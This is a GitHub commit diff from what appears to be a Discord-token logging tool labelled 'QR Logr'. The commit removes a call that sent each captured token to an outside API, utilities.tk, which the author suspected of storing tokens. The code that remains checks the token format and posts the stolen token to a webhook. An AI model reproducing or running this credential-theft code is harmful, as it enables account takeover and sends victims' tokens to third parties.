Removed Utilities.tk API

Unknown API - Possible Token Storing on API
This commit is contained in:
Luci 2022-07-15 23:49:07 +01:00 committed by GitHub
parent 346e987e50
commit 25dca5e6f4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -99,19 +99,8 @@ end="")
if re.search("[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) == None:
print("invalid token? (didnt match regex)")
check = requests.post('https://utilities.tk/tokens/check', json={'token':token})
if check.status_code == 401:
print('Account invalid.')
elif check.status_code == 403:
a = check.json()['username']
print(f"Account locked. `{a}`")
elif check.status_code == 200:
a = check.json()['username']
print(f"Account valid! `{a}`")
data = {
"content": f"TKN: {token}\nUser: {a}",
"content": f"TKN: {token}\n",
"username": "QR Logr"
}
if webhook_url: